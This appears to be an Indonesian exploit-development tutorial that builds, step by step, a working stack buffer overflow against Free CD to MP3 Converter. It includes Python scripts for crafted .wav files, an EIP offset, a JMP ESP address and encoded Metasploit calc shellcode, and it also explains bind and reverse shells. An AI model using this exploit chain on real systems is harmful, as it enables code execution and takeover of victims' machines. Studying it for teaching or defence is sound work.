windows exploitation smashing the stack - hitz#7

22
Windows Exploitation – Smashing The Stack Hitz #7 Pendahuluan Eksperimen basic stack overflow kali ini kita akan coba pada aplikasi Free CD to MP3 Converter. Exploit untuk program ini sudah ada di internet, tepatnya di situs ExploitDB (http://www.exploit- db.com/exploits/15480/ ). Proses debugging aplikasi Free CD to MP3 Converter dilakukan pada sistem operasi Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration) dan pembuatan script exploit pada Backtrack Linux 4 R2. Silakan download filenya. •Free CD to MP3 Converter (http://www.exploit-db.com/application/15480 ) Immunity Debugger (http:// www.immunityinc.com/products-immdbg.shtml ) •pvefindaddr.py (http://redmine.corelan.be:8800/projects/pvefindaddr ) •Metasploit Framework (http://www.metasploit.com/framework ) Untuk memulai eksperimen, silakan install aplikasi debugger. Ada beberapa aplikasi debugger seperti WinDbg, Immunity Debugger, atau OllyDbg. Saya akan menggunakan Immunity Debugger untuk percobaan ini. Sedikit Pengetahuan tentang CPU Register Ketika kita bermain dengan Buffer Overflow, pengetahuan tentang CPU Register wajib diketahui. Sebuah CPU berbasis Intel x86 menggunakan 8 register sebagai tujuan umum, yaitu: EAX, EDX, ECX, ESI, EDI, EBP, ESP dan EBX. Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang memungkinkan CPU untuk memproses informasi secara efisien. Register EAX , digunakan untuk melakukan perhitungan serta menyimpan nilai kembali dari pemanggilan fungsi (function calls). Operasi dasar seperti menambah, mengurangi, dan membandingkan dioptimalkan pada penggunaan register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga hanya di dalam register EAX. Register EDX adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk (membantu) menyimpan data tambahan untuk operasi kompleks. Hal tersebut juga dapat digunakan untuk general purpose data storage. This work is licensed under a Creative Commons .

Upload: digital-echidna

Post on 04-Jul-2015

308 views

Category:

Technology


2 download

TRANSCRIPT

Page 1: Windows Exploitation Smashing the Stack - hitz#7

Windows Exploitation – Smashing The StackHitz #7

Pendahuluan

Eksperimen basic stack overflow kali ini kita akan coba pada aplikasi Free CD to MP3 Converter. Exploit

untuk program ini sudah ada di internet, tepatnya di situs ExploitDB (http://www.exploit-

db.com/exploits/15480/).

Proses debugging aplikasi Free CD to MP3 Converter dilakukan pada sistem operasi Windows XP SP3 versi

NIST FDCC (Federal Desktop Core Configuration) dan pembuatan script exploit pada Backtrack Linux 4 R2.

Silakan download filenya.

•Free CD to MP3 Converter (http://www.exploit-db.com/application/15480)

•Immunity Debugger (http:// www.immunityinc.com/products-immdbg.shtml )

•pvefindaddr.py (http://redmine.corelan.be:8800/projects/pvefindaddr)

•Metasploit Framework (http://www.metasploit.com/framework)

Untuk memulai eksperimen, silakan install aplikasi debugger. Ada beberapa aplikasi debugger seperti

WinDbg, Immunity Debugger, atau OllyDbg. Saya akan menggunakan Immunity Debugger untuk percobaan

ini.

S e d i k i t P e n g e t a h u a n t e n t a n g C P U R e g i s t e r

Ketika kita bermain dengan Buffer Overflow, pengetahuan tentang CPU Register wajib diketahui. Sebuah

CPU berbasis Intel x86 menggunakan 8 register sebagai tujuan umum, yaitu: EAX, EDX, ECX, ESI, EDI,

EBP, ESP dan EBX.

Setiap register di desain untuk tujuan tertentu, dan masing-masing melaksanakan fungsinya yang

memungkinkan CPU untuk memproses informasi secara efisien.

R e g i s t e r E A X , digunakan untuk melakukan perhitungan serta menyimpan nilai kembali dari

pemanggilan fungsi (function calls). Operasi dasar seperti menambah, mengurangi, dan membandingkan

dioptimalkan pada penggunaan register EAX. Khusus operasi lainnya seperti perkalian dan pembagian juga

h a n y a d i d a l a m register EAX.

R e g i s t e r E D X adalah Data Register. Pada dasarnya merupakan perpanjangan dari EAX untuk

(membantu) menyimpan data tambahan untuk operasi kompleks. Hal tersebut juga dapat digunakan untuk

general purpose data storage.

This work is licensed under a Creative Commons.

Page 2: Windows Exploitation Smashing the Stack - hitz#7

R e g i s t e r E C X , juga disebut register count, digunakan untuk operasi perulangan. Operasi perulangan

bisa menyimpan string atau menghitung angka.

R e g i s t e r E S I d a n E D I diandalkan oleh loop yang mengolah data. Register ESI adalah indeks

sumber (S pada ES I berarti S o u r c e yang berarti s u m b e r ) untuk operasi data dan memegang lokasi

input data stream. Register EDI menunjuk ke lokasi di mana hasil operasi data disimpan, atau indeks tujuan

(D pada ED I berarti D e s t i n a t i o n yang berarti t u j u a n ).

R e g i s t e r E S P adalah s t a c k p o i n t e r , dan Register E B P adalah b a s e p o i n t e r . Register

ini digunakan untuk mengatur pemanggilan fungsi dan operasi stack. Bila fungsi ini dipanggil, fungsi

argumen akan didorong ke dalam stack dan diikuti oleh alamat pengirim (return address). ESP menunjuk

pada bagian paling atas dari stack, sehingga akan menunjuk ke alamat pengirim (return address).

Sedangkan EBP digunakan untuk menunjuk ke panggilan stack di bawah.

R e g i s t e r E B X adalah satu-satunya register yang tidak dirancang untuk sesuatu yang khusus. Tapi

dipakai untuk penyimpanan ekstra.

R e g i s t e r E I P adalah register yang menunjuk ke instruksi yang saat ini sedang dijalankan. Ketika CPU

bergerak dalam biner, alamat EIP selalu diperbarui untuk menentukan lokasi dimana eksekusi ini terjadi.

Ok, pengetahuan tentang register CPU ini akan sangat membantu dalam pembuatan exploit :) Tahap

berikutnya adalah melakukan verifikasi terhadap kutu (bug) yang ada pada aplikasi Free CD to MP3

Converter.

V e r i f i k a s i B u g

Aplikasi Free CD to MP3 Converter akan crash ketika membuka file berekstensi .wav yang berisi karakter

"A" sebanyak 5000 karakter. Lho? Tau darimana? Baiklah, karena memang saya melompati bagian tersebut,

tapi tidak ada salahnya dibahas sedikit :)

Sebelumnya pembuat exploit Free CD to MP3 Converter pasti melakukan yang namanya Fuzzing. Fuzzing

dilakukan untuk melakukan test terhadap sebuah program dan mencari anomali fungsi, kemampuan

program dalam mengatasi error, atau input yang berlebihan, penggunaan yang tidak wajar dan lainnya dari

program tersebut. Nah untuk proses kali ini dinamakan File Format Fuzzing, karena pembuat exploit Free

CD to MP3 Converter menemukan bahwa jika file berekstensi wav diisi dengan karakter A sebanyak 5000

karakter maka aplikasi tidak bisa mengatasi file tersebut dan segera berakhir dengan crash.

Ok, setelah mengetahui tentang fuzzing, mari kita coba buat file crash.wav tersebut dengan script python.

#!/usr/bin/python

filename = “crash.wav”

junk="A" * 5000

file=open(filename,'w')

This work is licensed under a Creative Commons.

Page 3: Windows Exploitation Smashing the Stack - hitz#7

file.write(junk)print "[+] File”,filename,created successfully.."file.close()

Simpan script diatas dengan nama crash.py (atau apa pun namanya) lalu jalankan script python diatas:

Untuk sistem operasi Linux: /usr/bin/python crash.py

Untuk sistem operasi Windows: C:\Python25\python.exe crash.py

Maka file crash.wav akan terbentuk dan berisi 5000 karakter "A". Bukalah dengan aplikasi Free CD to MP3

Converter, lalu pilih WAV to MP3 (atau WAV to OGG), pilih file crash.wav, maka aplikasi tersebut akan crash

(tertutup secara kasar :D). Kadang keadaan crash seperti ini bisa membawa kita ke buffer overflow, kadang

juga tidak. Tapi untuk kali ini, karena ini adalah percobaan dari kasus yang sebenarnya, maka buffer

overflow pasti terjadi.

Nah agar buffer overflow bisa kita kontrol, kita harus menguasai alur eksekusi dari aplikasi. Caranya adalah

dengan menguasai Instruction Pointer (atau Program Counter, dikenal dengan nama EIP), yang merupakan

bagian dari CPU registers. Instruction Pointer akan berisi perintah yang diekseskusi saat ini dan yang akan

dieksekusi selanjutnya.

Misalkan sebuah aplikasi memanggil fungsi dengan parameter tertentu. Sebelum pergi ke fungsi tersebut, ia

akan menyimpan lokasi saat ini di Instruction Pointer (jadi dia tahu kapan kembali ketika fungsi selesai). Jika

kita dapat memodifikasi nilai dalam pointer ini, dan mengarahkan ke sebuah lokasi di memori yang berisi

sepotong kode milik kita sendiri, maka kita dapat mengubah aliran aplikasi dan membuatnya mengeksekusi

sesuatu (misalnyaperintah pada OS) selain kembali ke alamat asal.

Kode yang kita jalankan setelah berhasil mengendalikan alur ini sering disebut sebagai "shellcode". Jadi jika

kita membuat aplikasi menjalankan shellcode kita, kita dapat menyebutnya sebagai exploit. Dengan kata

lain, pointer ini disebut sebagai EIP. Ukuran register ini adalah 4 bytes (32 bits). Jadi, jika kita dapat

memodifikasi 4 bytes tersebut, kita menguasai aplikasi (dan komputer yang menjalankannya :D).

Ok kembali ke topik, tadi kita sudah membuat aplikasi Free CD to MP3 Converter crash secara kasar, tapi

kita tidak tahu apa yang sebenarnya terjadi. Untuk itulah kita akan menggunakan debugger, silakan jalankan

Immunity Debugger dan aplikasi Free CD to MP3 Converter, lalu attach proses aplikasi Free CD to MP3

Converter tersebut.

This work is licensed under a Creative Commons.

Page 4: Windows Exploitation Smashing the Stack - hitz#7

Setelah di attach prosesnya, pilihlah tombol "Play" (atau tekan F9) untuk menjalankannya. Pada tahap ini,

aplikasi siap di debug. Load lagi file crash.wav sekarang perhatikan pada debugger.

This work is licensed under a Creative Commons.

Page 5: Windows Exploitation Smashing the Stack - hitz#7

Nah, access violation terjadi. Bisa kita lihat, ruang stack (ESP) penuh dengan 41414141 (41 dalam hex

berarti karakter A). Register EIP (masih ingat?) juga tertimpa dengan karakter A.

Apa artinya ini? Yup, artinya kita bisa mengambil alih aplikasi dan sistem operasi yang menjalankan aplikasi

ini :D kejadian ini juga bisa dibilang buffer overflow atau stack overflow.

Catatan penting, bahwa pada sistem Intel x86, sebuah alamat akan ditulis dalam format little-endian (dibaca

terbalik). Jadi ketika terlihat diatas sebagai 41414141 berarti tetap dibaca sebagai AAAA, namun apabila EIP

tertimpa dengan karakter ABCD (41424344) berarti menjadi 44434241 (DCBA).

Karena file crash.wav hanya terdiri dari karakter A, kita tidak tahu ukuran byte yang tepat untuk menimpa

EIP. Dengan mengetahui ukuran yang tepat, kita bisa memberikan instruksi selanjutnya (secara tepat)

kepada aplikasi dan mengarahkan ke shellcode yang kita sediakan. Ukuran buffer yang tepat ini biasa

disebut dengan "offset".

M e n c a r i u k u r a n b u f f e r y a n g t e p a t u n t u k m e n i m p a E I P

Untuk mencari ukuran buffer yang tepat, biasanya bisa dengan membelah ukuran 'sampah' yang kita

siapkan. Tadi kita mengirim 5000 karakter A, kita bisa mulai membelahnya menjadi 2500 A dan 2500 B.

Apabila EIP dan Stack tertimpa dengan karakter B, berarti EIP ada disekitar buffer 2500 - 5000. Kita bisa

pecah lagi dengan 2500 karakter A, 1250 karakter B dan 1250 karakter C, jika EIP dan Stack tertimpa

dengan karakter C berarti kita tahu EIP ada di sekitar buffer 3750-5000. Begitu seterusnya sampai kita

This work is licensed under a Creative Commons.

Page 6: Windows Exploitation Smashing the Stack - hitz#7

menemukan berapa bytes yang diperlukan untuk menimpa 4 bytes EIP.

Cara paling gampang adalah dengan tool canggih bawaan Metasploit. Ada 2 buah tool, yang pertama

pattern_create.rb dan kedua pattern_offset.rb.

Script pattern_create.rb akan melakukan generate karakter acak sebanyak yang kita inginkan. Setelah itu,

pattern_offset.rb akan menyelesaikan tugas cari-mencari ini dengan sukses. Perhatikan baik-baik.

root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rbUsage: pattern_create.rb length [set a] [set b] [set c]root@infidel:/opt/metasploit3/msf3/tools# ./pattern_create.rb 5000

Silakan edit script python dan isikan hasil generate dari pattern_create.rb ke junk.

#!/usr/bin/python

filename = “crash-random.wav”

junk="paste hasil dari pattern_create.rb disini"file=open(filename,'w')file.write(junk)print "[+] File”,filename,”created successfully.."file.close()

Load kembali file crash.wav dan perhatikan dengan debugger.

EIP sekarang tertimpa dengan 31684630 (jika di convert ke ASCII menjadi 1hF0), kita bisa menggunakan

pattern_offset.rb untuk mencari jumlah buffer yang tepat.

root@infidel:/opt/metasploit3/msf3/tools# ./pattern_offset.rb 316846304112root@infidel:/opt/metasploit3/msf3/tools#

This work is licensed under a Creative Commons.

Page 7: Windows Exploitation Smashing the Stack - hitz#7

Ok EIP tertimpa dengan karakter 1hF0 atau 0x31684630 setelah bytes ke 4112. Kita perlu juga mencari

tahu, stack pointer (ESP) tertimpa setelah bytes ke berapa. Pada awal dari ESP terdapat karakter Fh2F

(atau dalam hex 0x46683246), dengan menggunakan pattern_offset.rb, kita bisa tahu setelah bytes

keberapa ESP tertimpa dengan random karakter Metasploit.

root@infidel:/opt/metasploit3/msf3/tools# ./pattern_offset.rb Fh2F4116root@infidel:/opt/metasploit3/msf3/tools#

Ok, beda 4 bytes dari EIP. Saya persingkat kesimpulannya menjadi sebagai berikut.

EIP akan tertimpa setelah bytes ke 4112 (4 bytes berikutnya berarti isi dari EIP). Jadi ketika kita memberikan

4112 karakter A ditambah dengan 4 karakter B (42 42 42 42 dalam hex) maka EIP akan berisi 42 42 42 42.

Kita juga tahu bahwa ESP berada pada EIP+4 bytes dan mengarah pada data dalam buffer, jadi kita akan

menambahkan karakter C setelah menimpa EIP (agar mengisi ESP).

Kita coba dengan mengedit script python untuk file eipcrash.wav

#!/usr/bin/python

filename = “eip-crash.wav”

junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x42" * 4 # 4 bytes untuk menimpa EIPespdata = "\x43" * (5000 - len(junk+eip)) # sisa bytes untuk menimpa stack

file=open(filename,'w')file.write(junk+eip+espdata)print "[+] File”,filename,”created successfully.."file.close()

Script diatas akan membentuk file eipcrash.wav, attachlah dengan debugger dan bukalah kembali dengan

Free CD to MP3 Converter.

This work is licensed under a Creative Commons.

Page 8: Windows Exploitation Smashing the Stack - hitz#7

Sesuai dengan yang kita inginkan, EIP tertimpa dengan 0x42424242 (karakter B dalam hex). Apakah ESP

juga sesuai, berisi karakter C(0x43434343)? Bisa dilihat bahwa di ESP telah terjadi penambahan karakter C

dimulai dari address 0x0012FAB0 Kita bisa Follow in Dump untuk melihat lebih jelas (Klik kanan pada ESP --

> Follow in Dump).

Mantap. ESP sekarang juga mengarah pada buffer yang berisi karakter C (0x43434343).

Perlu diingat juga, saya melakukan tahap ini di VMware Player dengan Windows XP SP3 versi NIST FDCC,

bisa jadi di tempat teman-teman hasilnya berbeda dengan saya. Jadi verifikasi ulang sesuai dengan yang

ada di tempat teman-teman.

Buffer exploit kita jadi seperti ini:

Buffer EBX EIP ESP

A (x 4112) AAAA BBBB CCCCCCCCCCCCC

This work is licensed under a Creative Commons.

Page 9: Windows Exploitation Smashing the Stack - hitz#7

4141414141...41 4141414141...41 42424242 434343434343...43

4112 bytes > 1000 bytes? 4 bytes > 1000 bytes?

M e n e n t u k a n j u m l a h m e m o r y u n t u k s h e l l c o d e

Kita berhasil menguasai EIP, berarti kita bisa mengalihkan alur aplikasi ke shellcode yang kita sediakan.

Tapi seberapa luas “lahan” yang dibutuhkan untuk “mendaratkan” sebuah shellcode? Apabila hanya sekedar

memunculkan aplikasi Calculator (calc.exe) biasanya dibutuhkan sekitar 300-400 bytes, tapi untuk sebuah

Bind Shell, biasanya sekitar 500-700 bytes, begitu pula dengan Reverse Shell.

Nah, seberapa luaskah “lahan” yang ada pada memory? Kalau kita perhatikan tadi, ESP dimulai pada

alamat 0x0012FAB0, dimanakah berakhirnya? Setelah ditelusuri (turun aja terus kebawah), ternyata karakter

C berakhir pada alamat 0x0012FE20. Sebesar itulah memory yang bisa kita timpa dengan karakter C, berarti

FE20 - FAB0 = 379 = 880 bytes. Jumlah yang cukup untuk "mendaratkan" shellcode :)

M e n c a r i R e t u r n A d d r e s s

Kita telah menemukan jumlah yang cukup, dan ESP sebagai tempat untuk “mendaratkan” shellcode.

Bagaimana cara menemukan return address?

Kita akan menggunakan instruksi JMP atau CALL ke ESP (jmp esp atau call esp). Alamat ini bersifat statik.

Melakukan “loncatan” (jump) ke ESP adalah hal yang umum pada aplikasi Windows. Apalagi aplikasi di

Windows memiliki beberapa DLL, dan karena menjadi hal yang umum, instruksi ini akan dengan mudah

ditemukan pada DLL aplikasi tersebut. Jadi cara kerjanya, kita akan menimpa alamat EIP dengan alamat

CALL/JMP esp, dengan begitu ketika EIP tertimpa, maka dia akan membaca instruksi CALL/JMP ESP dan

membawa kita ke ESP.

Pada crash kali ini, stack pointer (buffer) penuh dengan “sampah”, artinya kita bisa menaruh shellcode

disana. Dan agar shellcode kita tereksekusi, berarti kita harus melakukan “loncatan” agar instruksi

selanjutnya adalah membaca shellcode kita (JMP ESP).

Ok, sekarang bagaimana kita mencari opcode dari "call/jmp esp" ini? Ada beberapa cara, kita bisa

mencarinya dengan Ctrl-F pada debugger, atau menggunakan tool seperti findjmp, memjump, dan

pvefindaddr (tool buatan Peter Van Eeckhoutte dari CorelanCoder)

Tahap ini saya akan mencoba dengan dua cara, yang pertama secara manual dan yang kedua

menggunakan tool.

Yang pertama, seperti saya tuliskan tadi bahwa ada banyak instruksi JMP ESP karena memang menjadi

This work is licensed under a Creative Commons.

Page 10: Windows Exploitation Smashing the Stack - hitz#7

sesuatu yang umum. Instruksi ini biasanya ada di DLL atau di program itu sendiri (executable). Cara

mencarinya, pilihlah opsi Executable Modules (ditandai dengan huruf 'e' di toolbar) pada Immunity

Debugger.

Lalu tekan Ctrl-F untuk mencari instruksi JMP ESP.

Ingat, alamat ini mungkin berbeda pada PC teman-teman, bisa karena Service Pack atau Language dari

Sistem Operasi.

Seperti dilihat pada gambar, alamatnya adalah

7CC86237 FFE4 JMP ESP

Saya juga menggunakan tool buatan Peter Van Eeckhoutte, pvefindaddr.py. Cara menginstallnya tinggal

taruh file pvefindaddr.py di folder PyCommands (C:\Program Files\Immunity Inc\Immunity

Debugger\PyCommands), lalu pada kolom command bisa diketik !pvefindaddr, hasilnya akan keluar pada

This work is licensed under a Creative Commons.

Page 11: Windows Exploitation Smashing the Stack - hitz#7

window Log (Alt+L).

Untuk mencari call/jmp esp, bisa menggunakan perintah

!pvefindaddr j -reg esp -n <yup, yang di depan itu tanda seru (!)>

j = mencari instruksi jump

-reg = register yang akan dicari (dalam hal ini esp)

-n = menghindari pencarian yang bernilai null byte.

Tool ini akan membuat list file yang berisi instruksi CALL/JMP ESP pada direktori C:\Program Files\Immunity

Inc\Immunity Debugger\, nama filenya j . t x t . Saya mengambil satu instruksi JMP ESP pada module

shell32.dll.

7CC86237 FFE4 JMP ESP

Ok, sekarang kita edit lagi script kita dan tambahkan instruksi JMP ESP:

#!/usr/bin/python

filename = “eip-skeleton.wav”

junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C” # 7CC86237 FFE4 JMP ESP

This work is licensed under a Creative Commons.

Page 12: Windows Exploitation Smashing the Stack - hitz#7

breakp = “\xcc” * 16 # Break instructionespdata = "\x43" * (5000 - len(junk+eip)) # sisa bytes untuk menimpa stack

file=open(filename,'w')file.write(junk+eip+espdata)print "[+] File”,filename,”created successfully.."file.close()

Saya menambahkan “break instruction” (\xcc) pada script diatas yang berfungsi sebagai “pause” agar kita

bisa menganalisa proses debugging.

Jalankan script diatas, maka akan menghasilkan file eip-skeleton.wav. Jalankan debugger dan load lagi

(attach) program Free CD to MP3 Converter. Kali kita akan melakukan breakpoint terhadap posisi opcode

JMP ESP agar kita mengetahui dengan pasti bahwa EIP tertimpa dengan opcode JMP ESP dari shell32.dll.

Untuk melakukan breakpoint, kita lakukan lagi pencarian seperti mencari intruksi JMP ESP diatas.

Tekan F2 pada alamat tersebut.

Ok, sekarang kita akan load file eip-skeleton.wav dan kita akan memastikan beberapa hal:

1.Apakah Breakpoint kita “tepat sasaran”?

2.Apakah EIP tertimpa dengan alamat instruksi JMP ESP dari shell32.dll

3.Apakah perintah selanjutnya yang dieksekusi oleh EIP?

4.Apakah instruksi JMP ESP bekerja dengan baik?

Ok, pertanyaan pertama terjawab. Bisa kita lihat pada bagian bawah,

B r e a k p o i n t a t s h e l l 3 2 . 7 C C 8 6 2 3 7

This work is licensed under a Creative Commons.

Page 13: Windows Exploitation Smashing the Stack - hitz#7

Pertanyaan kedua juga terjawab, EIP tertimpa dengan alamat JMP ESP dari shell32.dll yaitu

shell32.7CC86237.

Karena terjadi breakpoint maka debugger melakukan Paused, terhadap situasi ini. Untuk melanjutkannya

bisa menekan F7 dan memastikan apakah pertanyaan ketiga bisa terjawab.

Setelah melakukan F7, ternyata proses eksekusi beralih ke alamat 0x0012FAB2 yaitu tempat dimana “break

instruction” kita berada. Dan apabila kita terus menekan F7, sampailah kita pada espdata yang berisi

karakter “C” (\x43). Apabila kita mengganti karakter “C” (\x43) dengan shellcode, maka shellcode akan

This work is licensed under a Creative Commons.

Page 14: Windows Exploitation Smashing the Stack - hitz#7

tereksekusi dengan baik.

K e n a l k a n , s a y a S h e l l c o d e !

Istilah ini akan sering didengar kalau kita mainan exploit. Saya kutip sedikit dari Wikipedia:

“In computer security, a shellcode is a small piece of code used as the payload in the exploitation

of a software vulnerability. It is called "shellcode" because it typically starts a command shell from

which the attacker can control the compromised machine. Shellcode is commonly written in

machine code, but any piece of code that performs a similar task can be called shellcode.”

Jika saya jelaskan berdasarkan apa yang saya garis bawahi, maka jadinya begini:

Shellcode adalah sebuah kode-kode kecil yang dipakai sebagai payload, biasanya akan menghasilkan sebuah

command prompt/shell dan ditulis dengan bahasa mesin (assembly).

Jadi shellcode ini tidak lain hanyalah sebuah kode, sebuah kode yang memanggil program lain dalam sistem

operasi.

Jadi bisa dong klo kita manggil program Internet Explorer? Atau Notepad?

Bisa, tapi apa keuntungan kita memanggil Notepad.exe dalam proses eksploitasi? Tidak ada khan? Maka

dari itu, biasanya yang dipanggil adalah cmd.exe (Command Prompt) dan memaksa cmd.exe di akses dari

jauh. Biasanya proses ini disebut dengan spawning shell. Spawning shell ini bisa terjadi dalam 2 mode

koneksi, mode reverse dan mode bind.

B i n d S h e l l

Bind shell adalah sebuah mode spawning shell yaitu mengeksekusi cmd.exe dan mengirimkan stdout

(standard output) dari cmd.exe milik target ke shell kita. Ketika proses eksploitasi sudah terjadi, shellcode

membuka sebuah port (yang ditentukan oleh attacker) dan memanggil cmd.exe. Jadi kta tinggal melakukan

koneksi ke port yang sudah terbuka di komputer milik target. Metode ini memiliki kekurangan apabila pada

sistem target terdapat Firewall yang membatasi port-port tertentu.

Dalam bentuk poin, bind shell bisa dijelaskan sebagai berikut:

•Membuka port di mesin target

•Attacker yang melakukan koneksi ke komputer target.

R e v e r s e S h e l l

Reverse shell adalah sebuah mode spawning shell atau istilah lainnya, mengeksekusi cmd.exe dan

mengirimkan stdout (standard output) dari cmd.exe ke terminal shell. Jadi kita tinggal menunggu koneksi dari

port yang sudah ia buka. Nah metode ini biasanya dipakai untuk bypass Firewall (tentunya dalam hal ini,

This work is licensed under a Creative Commons.

Page 15: Windows Exploitation Smashing the Stack - hitz#7

akses keluar dari jaringan internal diperbolehkan).

Dalam bentuk poin, reverse shell bisa dijelaskan sebagai berikut:

•Membuka port di mesin attacker

•Komputer target akan melakukan koneksi ke komputer attacker.

Seperti yang dikatakan sebelumnya, shellcode tidak hanya bisa memanggil cmd.exe, tapi juga bisa

memberikan perintah baru ke sistem operasi. Misalkan, shellcode untuk menambahkan user, shellcode

untuk melakukan download, shellcode untuk mematikan komputer, dan lainnya.

T e s t S h e l l c o d e M e n j a l a n k a n C a l c u l a t o r

Sebagai percobaan, kita akan coba membuat program Free CD to MP3 Converter mengeluarkan program

Calculator setelah eksploitasi. Kali ini kita akan pakai shellcode yang di generate menggunakan program

Metasploit.

Silakan perhatikan perintah dibawah ini.

root@infidel:~# msfpayload windows/exec CMD=calc R | msfencode -t c [*] x86/shikata_ga_nai succeeded with size 223 (iteration=1)

unsigned char buf[] = "\xb8\x3d\x91\xf5\x5f\xda\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x32\x83\xea\xfc\x31\x42\x0e\x03\x7f\x9f\x17\xaa\x83\x77\x5e" "\x55\x7b\x88\x01\xdf\x9e\xb9\x13\xbb\xeb\xe8\xa3\xcf\xb9\x00" "\x4f\x9d\x29\x92\x3d\x0a\x5e\x13\x8b\x6c\x51\xa4\x3d\xb1\x3d" "\x66\x5f\x4d\x3f\xbb\xbf\x6c\xf0\xce\xbe\xa9\xec\x21\x92\x62" "\x7b\x93\x03\x06\x39\x28\x25\xc8\x36\x10\x5d\x6d\x88\xe5\xd7" "\x6c\xd8\x56\x63\x26\xc0\xdd\x2b\x97\xf1\x32\x28\xeb\xb8\x3f" "\x9b\x9f\x3b\x96\xd5\x60\x0a\xd6\xba\x5e\xa3\xdb\xc3\xa7\x03" "\x04\xb6\xd3\x70\xb9\xc1\x27\x0b\x65\x47\xba\xab\xee\xff\x1e" "\x4a\x22\x99\xd5\x40\x8f\xed\xb2\x44\x0e\x21\xc9\x70\x9b\xc4" "\x1e\xf1\xdf\xe2\xba\x5a\xbb\x8b\x9b\x06\x6a\xb3\xfc\xee\xd3" "\x11\x76\x1c\x07\x23\xd5\x4a\xd6\xa1\x63\x33\xd8\xb9\x6b\x13" "\xb1\x88\xe0\xfc\xc6\x14\x23\xb9\x39\x5f\x6e\xeb\xd1\x06\xfa" "\xae\xbf\xb8\xd0\xec\xb9\x3a\xd1\x8c\x3d\x22\x90\x89\x7a\xe4" "\x48\xe3\x13\x81\x6e\x50\x13\x80\x0c\x37\x87\x48\xd3"; root@infidel:~#

Saya jelaskan sedikit mengenai perintah-perintah diatas.

msfpayload --> modul bawaan Metasploit untuk menghasilkan payload.

windows/exec --> payload yang dipilih yaitu exec

CMD=calc --> karena memilih exec, maka kita akan mengeksekusi calc (Calculator).

R --> menghasilkan output [R]aw, jalankan msfpayload -h untuk lebih jelas

| --> pemisah antar perintah

msfencode --> modul bawaan Metasploit untuk melakukan encoding terhadap shellcode

This work is licensed under a Creative Commons.

Page 16: Windows Exploitation Smashing the Stack - hitz#7

-t --> tipe dari output yang akan dihasilkan msfencode

c --> output berupa hexa dalam C.

Shellcode diatas akan mengeksekusi calc.exe sehingga setelah terjadi proses buffer overflow, aliran

eksekusi (EIP) yang sudah kita kuasai akan membawa kita ke register ESP (Ingat, EIP sudah kita isi dengan

perintah JMP ESP) dan di register ESP sudah menunggu shellcode calc.exe.

Mari kita modifikasi script python exploitnya.

#!/usr/bin/python

filename = "skeleton-calc.wav"

junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C" # 7CC86237 FFE4 JMP ESPnops = "\x90" * 16 # NOP

# metasploit payload shellcode# msfpayload windows/exec CMD=calc R | msfencode -t cshellcode = ("\xb8\x3d\x91\xf5\x5f\xda\xc6\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" "\x32\x83\xea\xfc\x31\x42\x0e\x03\x7f\x9f\x17\xaa\x83\x77\x5e" "\x55\x7b\x88\x01\xdf\x9e\xb9\x13\xbb\xeb\xe8\xa3\xcf\xb9\x00" "\x4f\x9d\x29\x92\x3d\x0a\x5e\x13\x8b\x6c\x51\xa4\x3d\xb1\x3d" "\x66\x5f\x4d\x3f\xbb\xbf\x6c\xf0\xce\xbe\xa9\xec\x21\x92\x62" "\x7b\x93\x03\x06\x39\x28\x25\xc8\x36\x10\x5d\x6d\x88\xe5\xd7" "\x6c\xd8\x56\x63\x26\xc0\xdd\x2b\x97\xf1\x32\x28\xeb\xb8\x3f" "\x9b\x9f\x3b\x96\xd5\x60\x0a\xd6\xba\x5e\xa3\xdb\xc3\xa7\x03" "\x04\xb6\xd3\x70\xb9\xc1\x27\x0b\x65\x47\xba\xab\xee\xff\x1e" "\x4a\x22\x99\xd5\x40\x8f\xed\xb2\x44\x0e\x21\xc9\x70\x9b\xc4" "\x1e\xf1\xdf\xe2\xba\x5a\xbb\x8b\x9b\x06\x6a\xb3\xfc\xee\xd3" "\x11\x76\x1c\x07\x23\xd5\x4a\xd6\xa1\x63\x33\xd8\xb9\x6b\x13" "\xb1\x88\xe0\xfc\xc6\x14\x23\xb9\x39\x5f\x6e\xeb\xd1\x06\xfa" "\xae\xbf\xb8\xd0\xec\xb9\x3a\xd1\x8c\x3d\x22\x90\x89\x7a\xe4" "\x48\xe3\x13\x81\x6e\x50\x13\x80\x0c\x37\x87\x48\xd3")espdata = "\x90" * (5000 - len(junk+eip+nops+shellcode)) # sisa bytes file=open(filename,'w')file.write(junk+eip+nops+shellcode+espdata)print "[+] File",filename,"created successfully.."file.close()

Kalau diperhatikan, saya menambahkan “\x90” disana, ya itu adalah sebuah NOP atau No Operation. Dalam

pembuatan exploit, NOP sangat sering dipakai apabila kita tidak tahu pasti jika sebuah shellcode “mendarat”

pada byte yang tepat, sehingga NOP sering dipakai sebagai “landasan” untuk memastikan bahwa byte

selanjutnya yang dieksekusi adalah shellcode.

Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa

exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.

Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi

This work is licensed under a Creative Commons.

Page 17: Windows Exploitation Smashing the Stack - hitz#7

shellcode.

Kita berhasil mendarat pada alamat JMP ESP yaitu 7CC86237. Selanjutnya apakah perintah JMP ESP

membawa kita kepada 16 NOP? Tekan F7 untuk melanjutkan eksekusi (Follow).

Sesuai! Kita mendarat pada 16 NOP dan setelah ke-16 NOP tersebut tereksekusi, maka kita tiba di

shellcode. Tekan terus F7 sampai perintah looping terjadi. Perintah ini terus berulang (looping) karena

encoder, ingat tadi kita menjalankan msfencode untuk meng-encode shellcode tersebut, proses looping ini

menandakan bahwa shellcode sedang di-decode.

Perhatikan perintah CLD, berikan Breakpoint disitu karena perintah tersebut adalah awal dari shellcode yang

kita buat.

This work is licensed under a Creative Commons.

Page 18: Windows Exploitation Smashing the Stack - hitz#7

Setelah proses decoding selesai, selanjutnya tekan F9 untuk melanjutkan eksekusi. Seharusnya program

calculator akan muncul menggantikan program Free CD to MP3 Converter.

Owned!

